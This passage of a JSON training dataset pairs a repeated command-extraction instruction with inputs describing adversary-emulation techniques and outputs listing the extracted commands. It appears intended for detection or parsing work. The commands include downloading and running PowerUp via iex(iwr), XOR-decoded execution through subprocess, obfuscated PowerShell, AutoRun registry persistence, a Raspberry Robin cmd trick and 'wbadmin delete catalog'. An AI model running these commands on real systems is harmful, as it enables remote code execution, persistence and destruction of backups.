[Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \ncatch [System.Net.WebException]{  \n    Write-Host(\"Cannot download $url\") \n    add-type $updateWallpapercode \n    [Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \nfinally{    \n    $wc.Dispose()  \n}\n",
    "output": "{\"command_list\": [\"$url = \\\"#{url_of_wallpaper}\\\"\\n$imgLocation = \\\"#{wallpaper_location}\\\"\\n$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\\' -Name WallPaper).WallPaper\\n$orgWallpaper | Out-File -FilePath \\\"#{pointer_to_orginal_wallpaper}\\\"\\n$updateWallpapercode = @' \\nusing System.Runtime.InteropServices; \\nnamespace Win32{\\n\\n    public class Wallpaper{ \\n        [DllImport(\\\"user32.dll\\\", CharSet=CharSet.Auto)] \\n         static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; \\n         \\n         public static void SetWallpaper(string thePath){ \\n            SystemParametersInfo(20,0,thePath,3); \\n        }\\n    }\\n} \\n'@\\n$wc = New-Object System.Net.WebClient  \\ntry{  \\n    $wc.DownloadFile($url, $imgLocation)\\n    add-type $updateWallpapercode \\n    [Win32.Wallpaper]::SetWallpaper($imgLocation)\\n} \\ncatch [System.Net.WebException]{  \\n    Write-Host(\\\"Cannot download $url\\\") \\n    add-type $updateWallpapercode \\n    [Win32.Wallpaper]::SetWallpaper($imgLocation)\\n} \\nfinally{    \\n    $wc.Dispose()  \\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To obfuscate and execute malicious commands, an adversary can use XOR encryption, which can be decoded and run with the following Python command: python3 -c 'import base64; import subprocess; xor_decrypt = lambda text, key: \"\".join([chr(c ^ ord(k)) for c, k in zip(base64.b64decode(text.encode()), key)]); command = \"#{encrypted_command}\"; key = \"#{xor_key}\"; exec = xor_decrypt(command, key); subprocess.call(exec, shell=True)'",
    "output": "{\"command_list\": [\"python3 -c 'import base64; import subprocess; xor_decrypt = lambda text, key: \\\"\\\".join([chr(c ^ ord(k)) for c, k in zip(base64.b64decode(text.encode()), key)]); command = \\\"#{encrypted_command}\\\"; key = \\\"#{xor_key}\\\"; exec = xor_decrypt(command, key); subprocess.call(exec, shell=True)'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To display the message 'Hello, from PowerShell!' through an obfuscated PowerShell script, use this command: $cmDwhy =[TyPe](\"{0}{1}\" -f 'S','TrING')  ;   $pz2Sb0  =[TYpE](\"{1}{0}{2}\"-f'nv','cO','ert')  ;  &(\"{0}{2}{3}{1}{4}\" -f'In','SiO','vOKe-EXp','ReS','n') (  &(\"{1}{2}{0}\"-f'blE','gET-','vaRIA')  ('CMdw'+'h'+'y')).\"v`ALUe\"::(\"{1}{0}\" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] (  $Pz2sB0::\"t`OinT`16\"(( [sTring]${_}) ,8)))})) )",
    "output": "{\"command_list\": [\"$cmDwhy =[TyPe](\\\"{0}{1}\\\" -f 'S','TrING')  ;   $pz2Sb0  =[TYpE](\\\"{1}{0}{2}\\\"-f'nv','cO','ert')  ;  &(\\\"{0}{2}{3}{1}{4}\\\" -f'In','SiO','vOKe-EXp','ReS','n') (  (&(\\\"{1}{2}{0}\\\"-f'blE','gET-','vaRIA')  ('CMdw'+'h'+'y')).\\\"v`ALUe\\\"::(\\\"{1}{0}\\\" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] (  $Pz2sB0::\\\"t`OinT`16\\\"(( [sTring]${_}) ,8)))})) )\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can decode and display a base64-encoded text by executing this command: ENCODED=$(echo '#{message}' | base64)\nprintf $ENCODED | base64 -d\necho $ENCODED | base64 -d\necho $(echo $ENCODED) | base64 -d\necho $ENCODED > #{encoded_file} && base64 -d #{encoded_file}\necho $ENCODED > #{encoded_file} && base64 -d < #{encoded_file}\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d\nbash -c \"{echo,\\\"$(echo $ENCODED)\\\"}|{base64,-d}\"",
    "output": "{\"command_list\": [\"ENCODED=$(echo '#{message}' | base64)\\nprintf $ENCODED | base64 -d\\necho $ENCODED | base64 -d\\necho $(echo $ENCODED) | base64 -d\\necho $ENCODED > #{encoded_file} && base64 -d #{encoded_file}\\necho $ENCODED > #{encoded_file} && base64 -d < #{encoded_file}\\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d\\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d\\nbash -c \\\"{echo,\\\\\\\"$(echo $ENCODED)\\\\\\\"}|{base64,-d}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To maintain persistence, an adversary can exploit the CommandProcessor AutoRun registry key by executing the following command, which ensures a specified command runs whenever cmd.exe is launched: New-ItemProperty -Path \"HKLM:\\\\Software\\\\Microsoft\\\\Command Processor\" -Name \"AutoRun\" -Value \"#{command}\" -PropertyType \"String\"",
    "output": "{\"command_list\": [\"New-ItemProperty -Path \\\"HKLM:\\\\Software\\\\Microsoft\\\\Command Processor\\\" -Name \\\"AutoRun\\\" -Value \\\"#{command}\\\" -PropertyType \\\"String\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For simulating Raspberry Robin, execute this command to read and execute a file via cmd.exe: cmd /r cmd<\"#{input_file}\"",
    "output": "{\"command_list\": [\"cmd /r cmd<\\\"#{input_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To delete the Windows Backup Catalog, a technique employed by various ransomware and APT malware like Olympic Destroyer, use the following command: wbadmin delete catalog -quiet",
    "output": "{\"command_list\": [\"wbadmin delete catalog -quiet\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
